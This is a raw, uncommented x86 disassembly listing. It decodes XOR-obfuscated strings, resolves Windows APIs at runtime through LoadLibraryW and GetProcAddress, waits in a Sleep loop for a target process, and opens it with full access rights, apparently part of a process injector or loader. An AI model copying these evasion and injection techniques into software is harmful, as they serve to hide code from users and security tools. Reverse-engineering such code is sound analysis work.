movaps xmmword [ebp - 0x12d0], xmm1
movaps xmm1, xmmword [ebp - 0x12c0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x12c0], xmm1
movaps xmm1, xmmword [ebp - 0x12b0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x12b0], xmm1
movaps xmm1, xmmword [ebp - 0x12a0]
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x12a0], xmm1
nop dword [eax]
mov al, byte [ebp + ecx - 0x12d0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2841], al
test al, al
jne 0x45a4b0
lea eax, [ebp - 0x2f88]
mov dword [ebp - 0x2f98], 0x89859be4
push eax
lea eax, [ebp - 0x2f98]
mov dword [ebp - 0x2f94], 0x10af68fd
push eax
lea ecx, [ebp - 0x3300]
mov dword [ebp - 0x2f90], 0x4b3cc1c6
mov dword [ebp - 0x2f8c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2f98]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2fa8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x32f8]
mov dword [ebp - 0x2fa8], 0xe6f7e9a1
mov dword [ebp - 0x2fa4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2fa0], 0x4b3cc1c6
mov dword [ebp - 0x2f9c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2fa8]
mov dword [ebp - 0xa70], 0x89859be4
push eax
lea eax, [ebp - 0x2fb8]
mov dword [ebp - 0xa6c], 0x10af68fd
push eax
lea ecx, [ebp - 0x32f0]
mov dword [ebp - 0x2fb8], 0x89859be4
mov dword [ebp - 0x2fb4], 0x10af68fd
mov dword [ebp - 0xa68], 0x4b3cc1c6
mov dword [ebp - 0xa64], 0xbc6ee7e6
mov dword [ebp - 0x2fb0], 0x4b3cc1c6
mov dword [ebp - 0x2fac], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa70]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xa70], xmm1
mov al, byte [ebp + ecx - 0xa70]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2741], al
test al, al
jne 0x45a5f0
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x228]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x2a4a], ax
test ax, ax
jne 0x45a610
lea eax, [ebp - 0x1ae0]
mov dword [ebp - 0x1b00], 0xe692e9ca
push eax
lea eax, [ebp - 0x1b00]
mov dword [ebp - 0x1afc], 0x10c168fd
push eax
lea ecx, [ebp - 0x32e8]
mov dword [ebp - 0x1af8], 0x4b50c1a3
mov dword [ebp - 0x1af4], 0xbc5ce7d5
mov dword [ebp - 0x1af0], 0x2c9f592d
mov dword [ebp - 0x1aec], 0xcfd95f15
mov dword [ebp - 0x1ae8], 0xad6124c8
mov dword [ebp - 0x1ae4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1ac0]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1ae0]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 0x1ae0], 0xe6f7e9a1
mov dword [ebp - 0x1adc], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1ad8], 0x4b3cc1c6
mov dword [ebp - 0x1ad4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1ad0], 0x2cfb5903
mov dword [ebp - 0x1acc], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1ac8], 0xad6124c8
mov dword [ebp - 0x1ac4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1aa0]
mov dword [ebp - 0xca0], 0xe692e9ca
push eax
lea eax, [ebp - 0x1ac0]
mov dword [ebp - 0xc9c], 0x10c168fd
push eax
lea ecx, [ebp - 0x32d8]
mov dword [ebp - 0x1ac0], 0xe692e9ca
mov dword [ebp - 0x1abc], 0x10c168fd
mov dword [ebp - 0xc98], 0x4b50c1a3
mov dword [ebp - 0xc94], 0xbc5ce7d5
mov dword [ebp - 0x1ab8], 0x4b50c1a3
mov dword [ebp - 0x1ab4], 0xbc5ce7d5
mov dword [ebp - 0xc90], 0x2c9f592d
mov dword [ebp - 0xc8c], 0xcfd95f15
mov dword [ebp - 0x1ab0], 0x2c9f592d
mov dword [ebp - 0x1aac], 0xcfd95f15
mov dword [ebp - 0xc88], 0xad6124c8
mov dword [ebp - 0xc84], 0x9738a288
mov dword [ebp - 0x1aa8], 0xad6124c8
mov dword [ebp - 0x1aa4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xca0]
lea eax, [ebp - 0xca0]
pxor xmm1, xmmword [ebp - 0x860]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmmword [ebp - 0xca0], xmm1
movaps xmm1, xmmword [ebp - 0xc90]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc90], xmm1
call edi
mov dword [ebp - 0x2bf4], eax
lea eax, [ebp - 0x1a80]
push eax
lea eax, [ebp - 0x1aa0]
mov dword [ebp - 0x1aa0], 0xe684e9d4
mov dword [ebp - 0x1a9c], 0x10dd68ea
mov dword [ebp - 0x1a98], 0x4b0ec1f5
mov dword [ebp - 0x1a94], 0xbc0ae7c8
mov dword [ebp - 0x1a90], 0x2c97596f
mov dword [ebp - 0x1a8c], 0xcfb55f79
mov dword [ebp - 0x1a88], 0xad6124c8
mov dword [ebp - 0x1a84], 0x9738a288
push eax
lea ecx, [ebp - 0x32d0]
call fcn.0045f990
lea eax, [ebp - 0x1a60]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1a80]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x32c8]
mov dword [ebp - 0x1a80], 0xe6f7e9a1
mov dword [ebp - 0x1a7c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1a78], 0x4b3cc1c6
mov dword [ebp - 0x1a74], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1a70], 0x2cfb5903
mov dword [ebp - 0x1a6c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1a68], 0xad6124c8
mov dword [ebp - 0x1a64], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1a40]
mov dword [ebp - 0xcc0], 0xe684e9d4
push eax
lea eax, [ebp - 0x1a60]
mov dword [ebp - 0xcbc], 0x10dd68ea
push eax
lea ecx, [ebp - 0x32c0]
mov dword [ebp - 0x1a60], 0xe684e9d4
mov dword [ebp - 0x1a5c], 0x10dd68ea
mov dword [ebp - 0xcb8], 0x4b0ec1f5
mov dword [ebp - 0xcb4], 0xbc0ae7c8
mov dword [ebp - 0x1a58], 0x4b0ec1f5
mov dword [ebp - 0x1a54], 0xbc0ae7c8
mov dword [ebp - 0xcb0], 0x2c97596f
mov dword [ebp - 0xcac], 0xcfb55f79
mov dword [ebp - 0x1a50], 0x2c97596f
mov dword [ebp - 0x1a4c], 0xcfb55f79
mov dword [ebp - 0xca8], 0xad6124c8
mov dword [ebp - 0xca4], 0x9738a288
mov dword [ebp - 0x1a48], 0xad6124c8
mov dword [ebp - 0x1a44], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xcc0]
lea eax, [ebp - 0xcc0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xcc0], xmm1
movaps xmm1, xmmword [ebp - 0xcb0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xcb0], xmm1
call edi
mov esi, eax
mov dword [ebp - 0x1a40], 0xe684e9cc
lea eax, [ebp - 0x1a20]
mov dword [ebp - 0x1a3c], 0x10cc68f9
push eax
lea eax, [ebp - 0x1a40]
mov dword [ebp - 0x1a38], 0x4b48c1b4
push eax
lea ecx, [ebp - 0x32b8]
mov dword [ebp - 0x1a34], 0xbc0ae7c8
mov dword [ebp - 0x1a30], 0x2c97596f
mov dword [ebp - 0x1a2c], 0xcfb55f79
mov dword [ebp - 0x1a28], 0xad6124c8
mov dword [ebp - 0x1a24], 0x9738a288
call fcn.0045f990
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x1a20], 0xe6f7e9a1
mov dword [ebp - 0x1a1c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1a18], 0x4b3cc1c6
mov dword [ebp - 0x1a14], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1a10], 0x2cfb5903
lea eax, [ebp - 0x1a00]
mov dword [ebp - 0x1a0c], 0xcfb55f79
push eax
lea eax, [ebp - 0x1a20]
mov dword [ebp - 0x848], 0xad6124c8
push eax
lea ecx, [ebp - 0x32b0]
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1a08], 0xad6124c8
mov dword [ebp - 0x1a04], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x19e0]
mov dword [ebp - 0xce0], 0xe684e9cc
push eax
lea eax, [ebp - 0x1a00]
mov dword [ebp - 0xcdc], 0x10cc68f9
push eax
lea ecx, [ebp - 0x32a8]
mov dword [ebp - 0x1a00], 0xe684e9cc
mov dword [ebp - 0x19fc], 0x10cc68f9
mov dword [ebp - 0xcd8], 0x4b48c1b4
mov dword [ebp - 0xcd4], 0xbc0ae7c8
mov dword [ebp - 0x19f8], 0x4b48c1b4
mov dword [ebp - 0x19f4], 0xbc0ae7c8
mov dword [ebp - 0xcd0], 0x2c97596f
mov dword [ebp - 0xccc], 0xcfb55f79
mov dword [ebp - 0x19f0], 0x2c97596f
mov dword [ebp - 0x19ec], 0xcfb55f79
mov dword [ebp - 0xcc8], 0xad6124c8
mov dword [ebp - 0xcc4], 0x9738a288
mov dword [ebp - 0x19e8], 0xad6124c8
mov dword [ebp - 0x19e4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xce0]
lea eax, [ebp - 0xce0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xce0], xmm1
movaps xmm1, xmmword [ebp - 0xcd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xcd0], xmm1
call edi
mov edi, eax
mov dword [ebp - 0x2fc8], 0x95848cec
lea eax, [ebp - 0x2fb8]
mov dword [ebp - 0x2fc4], 0x52ca0fee
push eax
lea eax, [ebp - 0x2fc8]
mov dword [ebp - 0x2fc0], 0x4b7db9a9
push eax
lea ecx, [ebp - 0x32a0]
mov dword [ebp - 0x2fbc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2fc8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2fd8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3298]
mov dword [ebp - 0x2fd8], 0xe6f7e9a1
mov dword [ebp - 0x2fd4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2fd0], 0x4b3cc1c6
mov dword [ebp - 0x2fcc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2fd8]
mov dword [ebp - 0x9f0], 0x95848cec
push eax
lea eax, [ebp - 0x2fe8]
mov dword [ebp - 0x9ec], 0x52ca0fee
push eax
lea ecx, [ebp - 0x3290]
mov dword [ebp - 0x2fe8], 0x95848cec
mov dword [ebp - 0x2fe4], 0x52ca0fee
mov dword [ebp - 0x9e8], 0x4b7db9a9
mov dword [ebp - 0x9e4], 0xbc6ee7e6
mov dword [ebp - 0x2fe0], 0x4b7db9a9
mov dword [ebp - 0x2fdc], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0x9f0]
pxor xmm1, xmmword [ebp - 0x9f0]
push eax
push esi
movaps xmmword [ebp - 0x9f0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a58], eax
lea ecx, [ebp - 0x3288]
lea eax, [ebp - 0x19c0]
mov dword [ebp - 0x19e0], 0xab838ce6
push eax
lea eax, [ebp - 0x19e0]
mov dword [ebp - 0x19dc], 0x7cda0ce0
push eax
mov dword [ebp - 0x19d8], 0x255d89a3
mov dword [ebp - 0x19d4], 0xeb0b8b82
mov dword [ebp - 0x19d0], 0x2cfb5903
mov dword [ebp - 0x19cc], 0xcfb55f79
mov dword [ebp - 0x19c8], 0xad6124c8
mov dword [ebp - 0x19c4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x19a0]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x19c0]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3280]
mov dword [ebp - 0x19c0], 0xe6f7e9a1
mov dword [ebp - 0x19bc], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x19b8], 0x4b3cc1c6
mov dword [ebp - 0x19b4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x19b0], 0x2cfb5903
mov dword [ebp - 0x19ac], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x19a8], 0xad6124c8
mov dword [ebp - 0x19a4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1980]
mov dword [ebp - 0xd00], 0xab838ce6
push eax
lea eax, [ebp - 0x19a0]
mov dword [ebp - 0xcfc], 0x7cda0ce0
push eax
lea ecx, [ebp - 0x3278]
mov dword [ebp - 0x19a0], 0xab838ce6
mov dword [ebp - 0x199c], 0x7cda0ce0
mov dword [ebp - 0xcf8], 0x255d89a3
mov dword [ebp - 0xcf4], 0xeb0b8b82
mov dword [ebp - 0x1998], 0x255d89a3
mov dword [ebp - 0x1994], 0xeb0b8b82
mov dword [ebp - 0xcf0], 0x2cfb5903
mov dword [ebp - 0xcec], 0xcfb55f79
mov dword [ebp - 0x1990], 0x2cfb5903
mov dword [ebp - 0x198c], 0xcfb55f79
mov dword [ebp - 0xce8], 0xad6124c8
mov dword [ebp - 0xce4], 0x9738a288
mov dword [ebp - 0x1988], 0xad6124c8
mov dword [ebp - 0x1984], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd00]
pxor xmm1, xmmword [ebp - 0xd00]
mov esi, dword [ebp - 0x2bf4]
movaps xmmword [ebp - 0xd00], xmm1
movaps xmm1, xmmword [ebp - 0xcf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xcf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a5c], eax
mov dword [ebp - 0x2ff8], 0x829686ed
mov dword [ebp - 0x2ff4], 0x62cd01c3
mov dword [ebp - 0x2ff0], 0x1c45b3a7
lea eax, [ebp - 0x2fe8]
mov dword [ebp - 0x2fec], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2ff8]
push eax
lea ecx, [ebp - 0x3270]
call fcn.0045f990
lea eax, [ebp - 0x2ff8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x3008]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3268]
mov dword [ebp - 0x3008], 0xe6f7e9a1
mov dword [ebp - 0x3004], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x3000], 0x4b3cc1c6
mov dword [ebp - 0x2ffc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x3008]
mov dword [ebp - 0xa00], 0x829686ed
push eax
lea eax, [ebp - 0x3018]
mov dword [ebp - 0x9fc], 0x62cd01c3
push eax
lea ecx, [ebp - 0x3260]
mov dword [ebp - 0x3018], 0x829686ed
mov dword [ebp - 0x3014], 0x62cd01c3
mov dword [ebp - 0x9f8], 0x1c45b3a7
mov dword [ebp - 0x9f4], 0xbc6ee7e6
mov dword [ebp - 0x3010], 0x1c45b3a7
mov dword [ebp - 0x300c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa00]
lea eax, [ebp - 0xa00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa00], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a60], eax
lea ecx, [ebp - 0x3258]
lea eax, [ebp - 0x3018]
mov dword [ebp - 0x3028], 0x839285f2
push eax
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x3024], 0x10af68ff
push eax
mov dword [ebp - 0x3020], 0x4b3cc1c6
mov dword [ebp - 0x301c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x3038]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3250]
mov dword [ebp - 0x3038], 0xe6f7e9a1
mov dword [ebp - 0x3034], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x3030], 0x4b3cc1c6
mov dword [ebp - 0x302c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x3038]
mov dword [ebp - 0xae0], 0x839285f2
push eax
lea eax, [ebp - 0x3048]
mov dword [ebp - 0xadc], 0x10af68ff
push eax
lea ecx, [ebp - 0x3248]
mov dword [ebp - 0x3048], 0x839285f2
mov dword [ebp - 0x3044], 0x10af68ff
mov dword [ebp - 0xad8], 0x4b3cc1c6
mov dword [ebp - 0xad4], 0xbc6ee7e6
mov dword [ebp - 0x3040], 0x4b3cc1c6
mov dword [ebp - 0x303c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xae0]
lea eax, [ebp - 0xae0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xae0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a54], eax
lea ecx, [ebp - 0x3240]
lea eax, [ebp - 0x3048]
mov dword [ebp - 0x3058], 0x8f8599d2
push eax
lea eax, [ebp - 0x3058]
mov dword [ebp - 0x3054], 0x10c91ce1
push eax
mov dword [ebp - 0x3050], 0x4b3cc1c6
mov dword [ebp - 0x304c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x3058]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x3068]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3238]
mov dword [ebp - 0x3068], 0xe6f7e9a1
mov dword [ebp - 0x3064], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x3060], 0x4b3cc1c6
mov dword [ebp - 0x305c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x3068]
mov dword [ebp - 0xa20], 0x8f8599d2
push eax
lea eax, [ebp - 0x3078]
mov dword [ebp - 0xa1c], 0x10c91ce1
push eax
lea ecx, [ebp - 0x3230]
mov dword [ebp - 0x3078], 0x8f8599d2
mov dword [ebp - 0x3074], 0x10c91ce1
mov dword [ebp - 0xa18], 0x4b3cc1c6
mov dword [ebp - 0xa14], 0xbc6ee7e6
mov dword [ebp - 0x3070], 0x4b3cc1c6
mov dword [ebp - 0x306c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa20]
lea eax, [ebp - 0xa20]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmmword [ebp - 0xa20], xmm1
call edi
mov dword [ebp - 0x2a4c], eax
lea ecx, [ebp - 0x3228]
lea eax, [ebp - 0x2ce8]
mov dword [ebp - 0x2cf8], 0xaa838ce6
push eax
lea eax, [ebp - 0x2cf8]
mov dword [ebp - 0x2cf4], 0x55db1bee
push eax
mov dword [ebp - 0x2cf0], 0x3953b3b4
mov dword [ebp - 0x2cec], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x3078]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3220]
mov dword [ebp - 0x3088], 0xe6f7e9a1
mov dword [ebp - 0x3084], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x3080], 0x4b3cc1c6
mov dword [ebp - 0x307c], 0xbc6ee7e6
call fcn.0045f990
mov dword [ebp - 0xa30], 0xaa838ce6
mov dword [ebp - 0xa2c], 0x55db1bee
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x3098], 0xaa838ce6
push eax
lea eax, [ebp - 0x3098]
mov dword [ebp - 0x3094], 0x55db1bee
push eax
lea ecx, [ebp - 0x3218]
mov dword [ebp - 0xa28], 0x3953b3b4
mov dword [ebp - 0xa24], 0xbc6ee7e6
mov dword [ebp - 0x3090], 0x3953b3b4
mov dword [ebp - 0x308c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa30]
lea eax, [ebp - 0xa30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa30], xmm1
call edi
mov dword [ebp - 0x2a50], eax
call fcn.0044d300
test al, al
jne 0x45b4d5
push 0x10
push 0x66fe58
push 0x66fe60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
nop dword [eax + eax]
mov dword [ebp - 0xd20], 0xe6b9e9e0
lea ecx, [ebp - 0xd20]
mov dword [ebp - 0xd1c], 0x10fd68cb
mov dword [ebp - 0xd18], 0x4b75c189
mov dword [ebp - 0xd14], 0xbc2be7a2
mov dword [ebp - 0xd10], 0x2cae594e
mov dword [ebp - 0xd0c], 0xcff45f35
mov dword [ebp - 0xd08], 0xad2e249c
mov dword [ebp - 0xd04], 0x9738a2da
movaps xmm0, xmmword [ebp - 0xd20]
pxor xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd20], xmm0
movaps xmm0, xmmword [ebp - 0xd10]
pxor xmm0, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xd10], xmm0
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2bf4], edi
test edi, edi
jne 0x45b70c
mov dword [ebp - 0xfe0], 0xe6a5e9f1
lea ecx, [ebp - 0xfe0]
mov dword [ebp - 0xfdc], 0x10e568c0
mov dword [ebp - 0xfd8], 0x4b7fc183
mov dword [ebp - 0xfd4], 0xbc3ae7b2
mov dword [ebp - 0xfd0], 0x2caf594a
mov dword [ebp - 0xfcc], 0xcffb5f38
mov dword [ebp - 0xfc8], 0xad2424e6
mov dword [ebp - 0xfc4], 0x977da2d0
mov dword [ebp - 0xfc0], 0xac1d51b5
mov dword [ebp - 0xfbc], 0x453e7873
mov dword [ebp - 0xfb8], 0x2e3c550a
mov dword [ebp - 0xfb4], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0xfe0]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
mov dword [ebp - 0x89c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0xfe0], xmm1
movaps xmm1, xmmword [ebp - 0xfd0]
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0xfd0], xmm1
movaps xmm1, xmmword [ebp - 0xfc0]
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0xfc0], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2bf4], eax
push 0x32
call esi
test edi, edi
je 0x45b530
push 0x1f4
call esi
lea eax, [ebp - 0x3098]
mov dword [ebp - 0x30a8], 0xdcb3a0f1
push eax
lea eax, [ebp - 0x30a8]
mov dword [ebp - 0x30a4], 0x1acb4daf
push eax
lea ecx, [ebp - 0x3210]
mov dword [ebp - 0x30a0], 0x4b3cc1c6
mov dword [ebp - 0x309c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x30a8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x30b8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3208]
mov dword [ebp - 0x30b8], 0xe6f7e9a1
mov dword [ebp - 0x30b4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x30b0], 0x4b3cc1c6
mov dword [ebp - 0x30ac], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2c18]
mov dword [ebp - 0xa40], 0xdcb3a0f1
push eax
lea eax, [ebp - 0x2c28]
mov dword [ebp - 0xa3c], 0x1acb4daf
push eax
lea ecx, [ebp - 0x3200]
mov dword [ebp - 0x2c28], 0xdcb3a0f1
mov dword [ebp - 0x2c24], 0x1acb4daf
mov dword [ebp - 0xa38], 0x4b3cc1c6
mov dword [ebp - 0xa34], 0xbc6ee7e6
mov dword [ebp - 0x2c20], 0x4b3cc1c6
mov dword [ebp - 0x2c1c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa40]
lea eax, [ebp - 0xa40]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0xa40], xmm1
call fcn.0044b300
add esp, 8
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2c08], esi
test esi, esi
jne 0x45bb79
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1e90], 0x889299ee
lea eax, [ebp - 0x1e60]
mov dword [ebp - 0x1e8c], 0x73c01adf
push eax
lea eax, [ebp - 0x1e90]
mov dword [ebp - 0x1e88], 0x6b4fb2a3
push eax
lea ecx, [ebp - 0x31f8]
mov dword [ebp - 0x1e84], 0xd0078680
mov dword [ebp - 0x1e80], 0x5bdb3d66
mov dword [ebp - 0x1e7c], 0xefdd2b10
mov dword [ebp - 0x1e78], 0xc8054bab
mov dword [ebp - 0x1e74], 0x9d5c87a8
mov dword [ebp - 0x1e70], 0xac1d51b5
mov dword [ebp - 0x1e6c], 0x453e7873
mov dword [ebp - 0x1e68], 0x2e3c550a
mov dword [ebp - 0x1e64], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x2040]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2070]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x31f0]
mov dword [ebp - 0x2070], 0xe6f7e9a1
mov dword [ebp - 0x206c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x2068], 0x4b3cc1c6
mov dword [ebp - 0x2064], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x2060], 0x2cfb5903
mov dword [ebp - 0x205c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x2058], 0xad6124c8
mov dword [ebp - 0x2054], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
